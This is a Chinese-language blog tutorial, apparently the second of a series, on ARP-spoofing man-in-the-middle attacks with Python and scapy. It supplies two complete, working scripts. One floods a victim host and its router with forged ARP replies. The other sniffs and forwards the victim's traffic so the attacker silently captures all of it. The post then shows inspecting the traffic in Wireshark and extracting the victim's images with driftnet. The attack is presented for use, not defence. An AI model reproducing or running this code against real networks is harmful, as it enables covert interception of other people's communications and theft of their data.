黑客-ubuntu下的scapy的ARP攻击(2)

前一篇文章介绍了如何攻击局域网内主机,让它无法上网http://blog.csdn.net/qq_35315699/article/details/73863632
具体语言是python,有c/c++语言基础的很快就能掌握

接下来我们来实现让被攻击主机依旧能上网,但数据包要从攻击者主机转发到路由器,这样我们就能获得被攻击者的所有数据包了

A机为被攻击主机 ip 192.168.1.106 mac 34:68:95:2a:51:01
B机为路由器 ip 192.168.1.1 mac a8:57:4e:32:02:ba
C机为攻击者主机 ip 192.168.1.109 mac a8:a7:95:4e:09:b3

原理:(默认大家已经理解ARP原理,这里就不讲了)
先通过前一章方法,将A机B机的路由表中的MAC地址换掉,都将对方的MAC地址换为C机的

import os
import sys
import signal

from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp,
    sniff
)

def main():
    p = Ether()/ARP()
    p.hwdst = "34:68:95:2a:51:01"
    p.pdst = "192.168.1.106"
    p.psrc = '192.168.1.1'   
    p.hwsrc = 'a8:a7:95:4e:09:b3'

    q = Ether()/ARP()
    q.hwdst = "a8:57:4e:32:02:ba"
    q.pdst = "192.168.1.1"
    q.psrc = '192.168.1.106'   
    q.hwsrc = 'a8:a7:95:4e:09:b3'  
    while 1:
        sendp(p,inter=1)
        sendp(q,inter=1)

if __name__ == '__main__':
    main()

这是python实现代码,使用前一章命令行方法也可以,我为了方便,写了一个文件

核心就是

#改变A机ARP表
    p = Ether()/ARP()  #构造一个ARP包
    p.hwdst = "34:68:95:2a:51:01"  #A机MAC地址
    p.pdst = "192.168.1.106"   #A机IP地址
    p.psrc = '192.168.1.1'    #B机IP地址
    p.hwsrc = 'a8:a7:95:4e:09:b3'  #C机MAC地址
#改变B机ARP表
    q = Ether()/ARP()
    q.hwdst = "a8:57:4e:32:02:ba"
    q.pdst = "192.168.1.1"
    q.psrc = '192.168.1.106'   
    q.hwsrc = 'a8:a7:95:4e:09:b3'  
    while 1:
        sendp(p,inter=1)
        sendp(q,inter=1) #每隔一秒发送

至此,你会发现,A机B机的ARP表的彼此的MAC地址都变为了C机的,这都是前一章的内容了http://blog.csdn.net/qq_35315699/article/details/73863632这里写图片描述

接下来,就是本章的核心了,将C机接收到的A机和B机通信的包发给对方

import os
import sys
import signal

from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp,
    sniff,
    IP,
    TCP,
    Raw
)

def pack(packet): #对监听到的包进行处理
       #如果源MAC地址为B机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为A机
    if packet.src=="a8:57:4e:32:02:ba" and packet.dst=="a8:a7:95:4e:09:b3":
        packet.dst = "34:68:95:2a:51:01"
        packet.src = "a8:a7:95:4e:09:b3"
        sendp(packet)
     #如果源MAC地址为A机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为B机
    elif packet.src=="34:68:95:2a:51:01"and packet.dst=="a8:a7:95:4e:09:b3": 
        packet.dst = "a8:57:4e:32:02:ba"
        packet.src = "a8:a7:95:4e:09:b3"
        sendp(packet)

def main():
    sniff(filter="!arp and host 192.168.1.106",prn=pack)  #用来监听目的ip或源ip为A机的包,接收到后,进入pac函数

if __name__ == '__main__':
    main()

运行两份代码
黑客-ubuntu下的scapy的ARP攻击(2)_第1张图片黑客-ubuntu下的scapy的ARP攻击(2)_第2张图片

这时,可以看见A机依旧能上网,通过wireshark可以看见A和B通信的包黑客-ubuntu下的scapy的ARP攻击(2)_第3张图片

通过
工具driftnet图片解析工具,
A机搜索
黑客-ubuntu下的scapy的ARP攻击(2)_第4张图片
C机解析
黑客-ubuntu下的scapy的ARP攻击(2)_第5张图片

至此,成功,不过,后面的数据包解析才是大工程

你可能感兴趣的:(计算机网络)